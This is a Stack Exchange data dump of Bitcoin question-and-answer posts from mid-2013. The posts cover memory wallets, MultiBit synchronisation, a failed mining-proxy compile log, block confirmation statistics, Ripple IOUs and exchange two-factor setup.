  <row Id="11931" PostTypeId="1" CreationDate="2013-07-01T22:15:25.917" Score="0" ViewCount="1023" Body="&lt;p&gt;I'd like to see a video tutorial that explains in detail how to make a paper wallet without paper, AKA, a &quot;memory wallet&quot; -- thx. &lt;/p&gt;&#xA;" OwnerUserId="5779" LastActivityDate="2021-01-14T23:23:59.423" Title="How do I make a Bitcoin &quot;memory wallet&quot; (or paper wallet without paper)?" Tags="|wallet|data-security|coldstorage|paper-wallet|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11932" PostTypeId="2" ParentId="11931" CreationDate="2013-07-01T22:47:07.227" Score="0" Body="&lt;p&gt;This is most secure way to place your Bitcoins in cold storage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This quick &lt;a href=&quot;http://youtu.be/we3VgdWCYEI&quot; rel=&quot;nofollow&quot;&gt;Video Tutorial&lt;/a&gt; explains how to make &#xA;a Dr. Evil Paper Wallet or Bitcoin &quot;Brain Wallet.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the ZIP file for Dr Evil Paper Wallet Generator @GitHub&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/obesityspray/Dr.-Evil-Paper-Wallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/obesityspray/Dr.-Evil-Paper-Wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5780" LastEditorUserId="5780" LastEditDate="2013-07-01T22:52:37.933" LastActivityDate="2013-07-01T22:52:37.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11933" PostTypeId="2" ParentId="11931" CreationDate="2013-07-02T00:38:24.150" Score="1" Body="&lt;p&gt;step 1 - memorize all the private keys that would otherwise be stored in some sort of &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;nofollow&quot;&gt;wallet&lt;/a&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;step 2 - there is no step 2 &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-07-02T00:38:24.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11934" PostTypeId="2" ParentId="7578" CreationDate="2013-07-02T02:38:02.510" Score="5" Body="&lt;p&gt;A Bitcoin Trust fund &lt;a href=&quot;http://www.sec.gov/Archives/edgar/data/1579346/000119312513279830/d562329ds1.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;registration statement&lt;/a&gt; was filed today with the Securities and Exchange Commission. If approved it would be the first Bitcoin ETF you can trade in the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The &lt;a href=&quot;https://www.sec.gov/rules/sro/batsbzx/2017/34-80206.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin ETF was not approved&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As discussed further below, the Commission is disapproving this proposed rule change&#xA;  because it does not find the proposal to be consistent with Section 6(b)(5) of the Exchange Act,&#xA;  which requires, among other things, that the rules of a national securities exchange be designed&#xA;  to prevent fraudulent and manipulative acts and practices and to protect investors and the public&#xA;  interest.&#xA;  The Commission believes that, in order to meet this standard, an exchange that lists and&#xA;  trades shares of commodity-trust exchange-traded products (“ETPs”) must, in addition to other&#xA;  applicable requirements, satisfy two requirements that are dispositive in this matter. First, the&#xA;  exchange must have surveillance-sharing agreements with significant markets for trading the&#xA;  underlying commodity or derivatives on that commodity. And second, those markets must be&#xA;  regulated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5782" LastEditorUserId="6375" LastEditDate="2017-03-12T14:02:07.290" LastActivityDate="2017-03-12T14:02:07.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11936" PostTypeId="1" CreationDate="2013-07-02T02:56:53.957" Score="2" ViewCount="817" Body="&lt;p&gt;Do I need to keep the client(I use multiBit) running while transaction is being confirmed? I have started a transaction at 1:00 nignight, when I get up at 6:00, it still didn't finish! they say a transaction need 6 confirm witch cost about 1,5 hours.&lt;/p&gt;&#xA;" OwnerUserId="5783" LastActivityDate="2013-08-03T04:09:57.843" Title="Do I need to open the client(I use multiBit) while transaction is being confirmed?" Tags="|transactions|multibit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11938" PostTypeId="1" CreationDate="2013-07-02T05:10:53.227" Score="1" ViewCount="1398" Body="&lt;p&gt;I was trying to build stratum mining proxy on a Centos x64 machine. As mentioned below the script is throwing compilation errors, any idea?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[root@host.com slush0-stratum-mining-proxy-7b5c080]# python ./setup.py install&#xA;/root/Desktop/mining/slush0-stratum-mining-proxy-7b5c080/distribute_setup.py:139: UserWarning: Module distribute_setup was already imported from /root/Desktop/mining/slush0-stratum-mining-proxy-7b5c080/distribute_setup.pyc, but /usr/lib/python2.6/site-packages/stratum-0.2.12-py2.6.egg is being added to sys.path&#xA;  import pkg_resources&#xA;running install&#xA;running bdist_egg&#xA;running egg_info&#xA;writing requirements to stratum_mining_proxy.egg-info/requires.txt&#xA;writing stratum_mining_proxy.egg-info/PKG-INFO&#xA;writing top-level names to stratum_mining_proxy.egg-info/top_level.txt&#xA;writing dependency_links to stratum_mining_proxy.egg-info/dependency_links.txt&#xA;reading manifest file 'stratum_mining_proxy.egg-info/SOURCES.txt'&#xA;writing manifest file 'stratum_mining_proxy.egg-info/SOURCES.txt'&#xA;installing library code to build/bdist.linux-x86_64/egg&#xA;running install_lib&#xA;running build_py&#xA;creating build/bdist.linux-x86_64/egg&#xA;creating build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/client_service.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/worker_registry.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/stratum_listener.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/version.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/__init__.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/midstate.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/getwork_listener.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/jobs.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/multicast_responder.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;copying build/lib/mining_libs/utils.py -&amp;gt; build/bdist.linux-x86_64/egg/mining_libs&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/client_service.py to client_service.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/worker_registry.py to worker_registry.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/stratum_listener.py to stratum_listener.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/version.py to version.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/__init__.py to __init__.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/midstate.py to midstate.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/getwork_listener.py to getwork_listener.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/jobs.py to jobs.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/multicast_responder.py to multicast_responder.pyc&#xA;byte-compiling build/bdist.linux-x86_64/egg/mining_libs/utils.py to utils.pyc&#xA;creating build/bdist.linux-x86_64/egg/EGG-INFO&#xA;installing scripts to build/bdist.linux-x86_64/egg/EGG-INFO/scripts&#xA;running install_scripts&#xA;running build_scripts&#xA;creating build/bdist.linux-x86_64/egg/EGG-INFO/scripts&#xA;copying build/scripts-2.6/mining_proxy.py -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO/scripts&#xA;changing mode of build/bdist.linux-x86_64/egg/EGG-INFO/scripts/mining_proxy.py to 755&#xA;copying stratum_mining_proxy.egg-info/PKG-INFO -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO&#xA;copying stratum_mining_proxy.egg-info/SOURCES.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO&#xA;copying stratum_mining_proxy.egg-info/dependency_links.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO&#xA;copying stratum_mining_proxy.egg-info/requires.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO&#xA;copying stratum_mining_proxy.egg-info/top_level.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO&#xA;zip_safe flag not set; analyzing archive contents...&#xA;creating 'dist/stratum_mining_proxy-1.5.2-py2.6.egg' and adding 'build/bdist.linux-x86_64/egg' to it&#xA;removing 'build/bdist.linux-x86_64/egg' (and everything under it)&#xA;Processing stratum_mining_proxy-1.5.2-py2.6.egg&#xA;removing '/usr/lib/python2.6/site-packages/stratum_mining_proxy-1.5.2-py2.6.egg' (and everything under it)&#xA;creating /usr/lib/python2.6/site-packages/stratum_mining_proxy-1.5.2-py2.6.egg&#xA;Extracting stratum_mining_proxy-1.5.2-py2.6.egg to /usr/lib/python2.6/site-packages&#xA;stratum-mining-proxy 1.5.2 is already the active version in easy-install.pth&#xA;Installing mining_proxy.py script to /usr/bin&#xA;&#xA;Installed /usr/lib/python2.6/site-packages/stratum_mining_proxy-1.5.2-py2.6.egg&#xA;Processing dependencies for stratum-mining-proxy==1.5.2&#xA;Searching for twisted&amp;gt;=12.2.0&#xA;Reading http://pypi.python.org/simple/twisted/&#xA;Best match: Twisted 13.1.0&#xA;Downloading http://pypi.python.org/packages/source/T/Twisted/Twisted-13.1.0.tar.bz2#md5=5609c91ed465f5a7da48d30a0e7b6960&#xA;Processing Twisted-13.1.0.tar.bz2&#xA;Writing /tmp/easy_install-2jd1TB/Twisted-13.1.0/setup.cfg&#xA;Running Twisted-13.1.0/setup.py -q bdist_egg --dist-dir /tmp/easy_install-2jd1TB/Twisted-13.1.0/egg-dist-tmp-tl_fLs&#xA;twisted/runner/portmap.c:10:20: error: Python.h: No such file or directory&#xA;twisted/runner/portmap.c:14: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token&#xA;twisted/runner/portmap.c:31: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘*’ token&#xA;twisted/runner/portmap.c:45: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘PortmapMethods’&#xA;twisted/runner/portmap.c: In function ‘initportmap’:&#xA;twisted/runner/portmap.c:55: warning: implicit declaration of function ‘Py_InitModule’&#xA;twisted/runner/portmap.c:55: error: ‘PortmapMethods’ undeclared (first use in this function)&#xA;twisted/runner/portmap.c:55: error: (Each undeclared identifier is reported only once&#xA;twisted/runner/portmap.c:55: error: for each function it appears in.)&#xA;error: Setup script exited with error: command 'gcc' failed with exit status 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5784" LastEditorUserId="5406" LastEditDate="2016-04-28T13:45:52.620" LastActivityDate="2016-04-28T13:45:52.620" Title="Stratum Mining proxy failed to compile on Centos 2.6.32-279.el6.x86_64" Tags="|bitcoind|client|stratum|compiling|proxy|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11939" PostTypeId="2" ParentId="11936" CreationDate="2013-07-02T08:42:01.273" Score="0" Body="&lt;p&gt;You don't need to keep MultiBit running whilst a transaction confirms no as it will automatically sync with the network when it starts up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long a transaction takes to confirm is quite variable as it depends on how quickly blocks arrive, your fee and how busy the network is.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-07-02T08:42:01.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11940" PostTypeId="2" ParentId="11929" CreationDate="2013-07-02T12:10:19.373" Score="3" Body="&lt;p&gt;This all depends on what asset the IOU represents and by extension what it can be used for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If in the case of USD or EUR etc they are accepted for payment of goods or services by a third party who is not the issuer then they are e-money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the issuer has to be either authorized or registered as an Electronic Money Institution (EMI).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key difference between this and a deposit account is that no benefit can be given for holding on to the e-money over time such as interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are redeemable for face value minus any reasonable charges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple IOUs can also be for bitcoins for example. However since they are not considered legal tender - you cannot pay your taxes in bitcoins for example, they are considered barter or the same as gold. These IOUs are not e-money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to issue Ripple beer IOUs which could be exchanged in any pub worldwide for a beer these would still not be e-money if they were only exchanged for beer since this is a closed market. I could not use my $50 worth of beer IOUs to buy a book for example. If book stores and other establishments started accepting them at face value then they would become e-money USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UK FCS does a good job of explaining&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fca.org.uk/firms/firm-types/emoney-institutions&quot; rel=&quot;nofollow&quot;&gt;http://www.fca.org.uk/firms/firm-types/emoney-institutions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5729" LastActivityDate="2013-07-02T12:10:19.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11943" PostTypeId="1" AcceptedAnswerId="11944" CreationDate="2013-07-02T17:51:37.590" Score="2" ViewCount="357" Body="&lt;p&gt;Is it correct to say that, since the difficulty will keep the block generation rate at 6 per hour on average, that with one-sixth of the network computing power, I will get one block per hour, on average?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put differently, can I express my expected average block discovery rate to always be 6 per hour multiplied by the fraction of total computing power I own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because I keep getting confused by the profitability calculations that rest on the difficulty, which is a totally opaque value for me, even though I know in theory what it means. I would like to employ some measure that I can use more intuitively.&lt;/p&gt;&#xA;" OwnerUserId="5751" LastEditorUserId="2306" LastEditDate="2016-04-26T23:12:07.580" LastActivityDate="2016-04-26T23:12:07.580" Title="How does the block discovery rate of a mining rig relate to the overall computing power of the network?" Tags="|difficulty|mining-technical-details|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11944" PostTypeId="2" ParentId="11943" CreationDate="2013-07-02T18:28:17.963" Score="1" Body="&lt;p&gt;This is approximately correct. You will actually get a bit more than one block per hour because so long as hashing power is increasing, the difficulty will lag behind the actual computing power.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-07-02T18:28:17.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11946" PostTypeId="2" ParentId="11392" CreationDate="2013-07-02T19:12:47.483" Score="2" Body="&lt;p&gt;My co-founder and I just started a &lt;a href=&quot;https://bitbond.net/&quot; rel=&quot;nofollow&quot; title=&quot;Bitbond.net&quot;&gt;Bitbond.net&lt;/a&gt; where we connect borrowers and lenders and offer an online wallet. Our goal is to make banks obsolete by such a service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can borrow Bitcoins by issuing a Bitbond. Before that, we perfom a credit rating to assess the creditworthiness of the issuer. We also do an identity check so if a borrower is late on his or her payments this can hurt their credit score.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good thing about it is that by connecting borrowers and lenders directly you match the maturities of bith sides. One big problem with banks is that they give out long term loans and refinance them with very short term money, i.e. their client's deposits or overnight loans from other banks. Since Bitcoin wants to be a better and more stable currency we believe that banking as such also needs to improve. That is why we built &lt;a href=&quot;https://bitbond.net/&quot; rel=&quot;nofollow&quot; title=&quot;Bitbond.net&quot;&gt;Bitbond.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-07-02T19:12:47.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11947" PostTypeId="1" AcceptedAnswerId="12319" CreationDate="2013-07-02T19:18:49.243" Score="3" ViewCount="1802" Body="&lt;p&gt;I'm building an application that tracks transactions between two points for multiple currencies, currently:&#xA;BTC, BQC, BTB, FTC, LTC, NMC, NVC, PPC, TRC, WDC &amp;amp; YAC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to check the number of confirmations for the latest transaction to a list of external addresses.  For BTC i discovered that i could do this (in a somewhat round about way) like so:&#xA;At start get the balance: &lt;a href=&quot;http://blockexplorer.com/q/getreceivedbyaddress/ADDRESS/0&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getreceivedbyaddress/ADDRESS/0&lt;/a&gt;&#xA;Then later i can check that again, specifying 1 confirmations. &#xA;/q/getreceivedbyaddress/ADDRESS/1&#xA;and see if the balance has increased from the start point, if it has, i know a transaction that is 1 confirmation in has occured. then i can check:&#xA;/q/getreceivedbyaddress/ADDRESS/2 and so on and so forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine.  But for all the other coins there is no blockexplorer.com, but there is what is most commonly used, bitcoin ABE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In bitcoin abe you can do a similar call, for example:&#xA;&lt;a href=&quot;http://bbq.cryptocoinexplorer.com/chain/BBQCoin/q/getreceivedbyaddress/ADDRESS&quot; rel=&quot;nofollow&quot;&gt;http://bbq.cryptocoinexplorer.com/chain/BBQCoin/q/getreceivedbyaddress/ADDRESS&lt;/a&gt;&#xA;but from what i can tell bitcoin abe does not support the /N parameter at the end to specify the number of confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now i am stuck.  I looked into running local instances of all the different coin deamons like bitcoind. But, although bitcoind has getreceivedbyaddress, bitcoind does not support this for external addresses.  Since i do not know the private keys of these addresses i cannot add them locally, and so bitcoind does not work for my purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since all the other altcoin clients are based on bitcoind, they all share the same problem as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="196" LastEditDate="2013-07-21T16:36:26.743" LastActivityDate="2013-07-29T09:35:22.033" Title="Get the number of confirmations for an external address" Tags="|transactions|confirmations|abe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11948" PostTypeId="2" ParentId="118" CreationDate="2013-07-02T19:54:52.973" Score="1" Body="&lt;p&gt;I was confused by the profitability calculators I saw because I find it hard to get a feeling for how the difficulty influences my yield and also for where I can expect the difficulty to go, since it's such an abstract value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I now use what to me is more intuitive: there's a (more or less) fixed number of 3,600 BTC gained from mining each day, until the block reward halves in 2017. Those coins can be viewed as being shared by the whole network proportionally to the computing power of each player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's assume a network power of 360 Thash/s, which seems not far away as I write this, and makes for easy calculation, then for every Ghash/s that your equipment brings to the table, you get 0.01 BTC per day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're solo mining, this is overly simplified, but the general direction of solo mining is that your actual yield will only on average match the theoretical one, so if you're much much smaller than the network (likely), then your variance gets so high that it becomes a lot like a lottery.&lt;/p&gt;&#xA;" OwnerUserId="5751" LastActivityDate="2013-07-02T19:54:52.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11949" PostTypeId="2" ParentId="4139" CreationDate="2013-07-02T20:13:51.743" Score="0" Body="&lt;p&gt;I don't think you understand what a Poisson process means. It does NOT mean that there is a constant time interval in between events. It means that it is a random process in which events are independent of each other. There is an average time interval, but this is by no means constant and it is NOT even the same as the &quot;expected&quot; time interval.&#xA;The bitcoin difficulty is designed to have an average interval between blocks of about 10 minutes. I have made a table below, showing what this means if you take Poissonian statistics into account. It shows the percentage of transactions are are expected to complete within the specified number of minutes. Some interesting insights are that about 1/3 of all transactions are confirmed in less than 4 minutes. The converse of this is that in 1-2% of all cases, it takes up to 40 to 50 minutes for the first confirmation to occur. The way to rationalize this is simply to understand that the process is random--so some intervals will be longer than others. And since it is possible for some confirmations to take place very soon after each other, then obviously some confirmations will be very far apart in order to &quot;justify&quot; the average interval between confirmations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Minutes % Confirmed&#xA;0.5 5%&#xA;1   10%&#xA;2   18%&#xA;3   26%&#xA;4   33%&#xA;5   39%&#xA;6   45%&#xA;7   50%&#xA;8   55%&#xA;9   59%&#xA;10  63%&#xA;15  78%&#xA;20  86%&#xA;25  92%&#xA;30  95%&#xA;40  98%&#xA;50  99%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2866" LastActivityDate="2013-07-02T20:13:51.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11953" PostTypeId="2" ParentId="8530" CreationDate="2013-07-03T01:48:17.793" Score="1" Body="&lt;p&gt;You can just use one of the bank exchanges such as &lt;a href=&quot;https://www.omnicoins.com&quot; rel=&quot;nofollow&quot;&gt;omnicoins&lt;/a&gt; or &lt;a href=&quot;https://www.bitXoin.com/&quot; rel=&quot;nofollow&quot;&gt;bitXoin&lt;/a&gt; for this function. There are less fees as well.&lt;/p&gt;&#xA;" OwnerUserId="5800" LastEditorDisplayName="user3930" LastEditDate="2013-07-03T13:01:18.930" LastActivityDate="2013-07-03T13:01:18.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11954" PostTypeId="1" AcceptedAnswerId="11991" CreationDate="2013-07-03T03:26:55.813" Score="3" ViewCount="105" Body="&lt;p&gt;How many new addresses are the recipient of transactions hourly? daily? weekly? monthly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that this is always changing, so bonus points if you can provide code to calculate it!&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-07-05T08:16:03.500" Title="At what rate are new addresses appearing in the blockchain?" Tags="|transactions|address|volume|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11955" PostTypeId="1" CreationDate="2013-07-03T08:59:52.200" Score="3" ViewCount="5278" Body="&lt;p&gt;Wallet is encrypted and currently locked, How can I unencrypted the wallet to unlock?&#xA;Because of my Bitcoin wallet not getting synchronising currently, so I could not get bitcoin balance on one of my address in wallet.&lt;/p&gt;&#xA;" OwnerUserId="5671" LastActivityDate="2016-12-18T14:06:36.030" Title="Wallet is encrypted and currently locked, How can get unencrypted (unlocked) it?" Tags="|wallet|security|encryption|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11957" PostTypeId="1" AcceptedAnswerId="12565" CreationDate="2013-07-03T09:20:26.213" Score="1" ViewCount="12086" Body="&lt;p&gt;btc-e has a very confusing process of enabling 2-factor.&#xA;How should I use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibbw6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I generate a one time password with a Yubikey?&#xA;Should I backup the private key / base32 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this auth process do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(P.S. btc-e - you need to hire some better UX people)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-12-06T23:39:10.187" Title="How to use two-factor authentication at btc-e?" Tags="|two-factor|btce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11958" PostTypeId="2" ParentId="11957" CreationDate="2013-07-03T11:18:56.183" Score="0" Body="&lt;p&gt;At first I didn't find this on Google, but I just saw this on their blog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To protect your account from hacking you should:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Create a key in profile-&gt;security &lt;a href=&quot;https://btc-e.com/profile#security/2fa&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/profile#security/2fa&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Scan the QR code using the Google Authenticator (or enter key to another application)&lt;/li&gt;&#xA;  &lt;li&gt;Confirm by entering the one-time password&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Following these simple steps you can turn a one-time password to log&#xA;  into your account, withdrawals, or to change the security settings.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Install Google Authenticator: Android:&#xA;  &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&quot; rel=&quot;nofollow&quot;&gt;https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&lt;/a&gt;&#xA;  iOS: &lt;a href=&quot;https://itunes.apple.com/ru/app/google-authenticator/id388497605&quot; rel=&quot;nofollow&quot;&gt;https://itunes.apple.com/ru/app/google-authenticator/id388497605&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-07-03T11:18:56.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11959" PostTypeId="1" CreationDate="2013-07-03T13:59:51.583" Score="1" ViewCount="1836" Body="&lt;p&gt;version is newest 0.5.12, 0 . I'v send to my multibit some BTC, then I waited for a very long time and it still shows unconfirmed, on blockchain.info shows transaction was finished, so I pressed the button &quot;reset blockchain and transaction&quot;, then balance became zero, I waited 6 houres and it's still zero, how long will the sync take?!&#xA;in the message said&quot;Synchronised with network.&quot; , means sync finished? but balance is still zero?!&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="5783" LastEditDate="2013-07-03T14:29:20.523" LastActivityDate="2013-12-10T20:36:03.230" Title="why multibit doesn't show my BTC" Tags="|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11960" PostTypeId="1" CreationDate="2013-07-03T14:00:25.493" Score="2" ViewCount="206" Body="&lt;p&gt;One question about the inner working of the mining process:&#xA;I know there isn't such a thing as a block 30% or 99% mined, or a mine is blocked or it isn't, I get it. The thing is: how do the transactions that belong to a block (that dole out transaction fees) get incorporated into the block after it has been found. Are these transactions being processed along with the mining and that's what the mining process is all about?&lt;/p&gt;&#xA;" OwnerUserId="5590" LastEditorUserId="5406" LastEditDate="2016-03-31T17:06:04.343" LastActivityDate="2016-03-31T17:06:04.343" Title="How do transactions fit into mining?" Tags="|transactions|blockchain|mining-technical-details|merkle-tree|" AnswerCount="1" CommentCount="0" ClosedDate="2013-07-09T20:20:23.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="11961" PostTypeId="2" ParentId="11959" CreationDate="2013-07-03T14:43:17.780" Score="1" Body="&lt;p&gt;It sounds like you are trying the right approach.&#xA;There is a support note here:&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_sentBitcoinToMultibitButTheyNeverArrived.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_support_sentBitcoinToMultibitButTheyNeverArrived.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it again safely.&#xA;Check all the details like the address is what you expect etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: And if that fails, you might want to try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Exporting the private key (unencrypted)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Importing it into a blockchain.info wallet you create. You should then gain access your bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do have to resort to exporting the private key please post that that is what you have done. (I am the lead dev for MultiBit so would want to follow up on it with you).&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-07-03T15:11:45.010" LastActivityDate="2013-07-03T15:11:45.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11963" PostTypeId="1" CreationDate="2013-07-03T15:45:16.317" Score="7" ViewCount="416" Body="&lt;p&gt;I have a simple question. User A wants to send to user B some IOU. There is no trust between A and B. There is no possible risk for user B. Can this be done without establishing a trust line? If no, why this is not allowed?&lt;/p&gt;&#xA;" OwnerUserId="4723" LastEditorUserId="153" LastEditDate="2013-07-03T23:07:27.577" LastActivityDate="2013-07-05T07:45:35.417" Title="With Ripple, can I send IOU without setting a trust?" Tags="|ripple|iou|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11964" PostTypeId="2" ParentId="11963" CreationDate="2013-07-03T15:56:59.720" Score="0" Body="&lt;p&gt;In ripple, both parties need to share a trust link in order to send IOUs between themselves. It doesn't need to be direct, but there needs to be a link. Most commonly it will be a trust to a Gateway. Alternatively, users can send themselves ripples without trusting any party (or one can say that they need to trust the Ripple system in that case, but that would be just semantics), but that wouldn't be an IOU.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-07-03T15:56:59.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
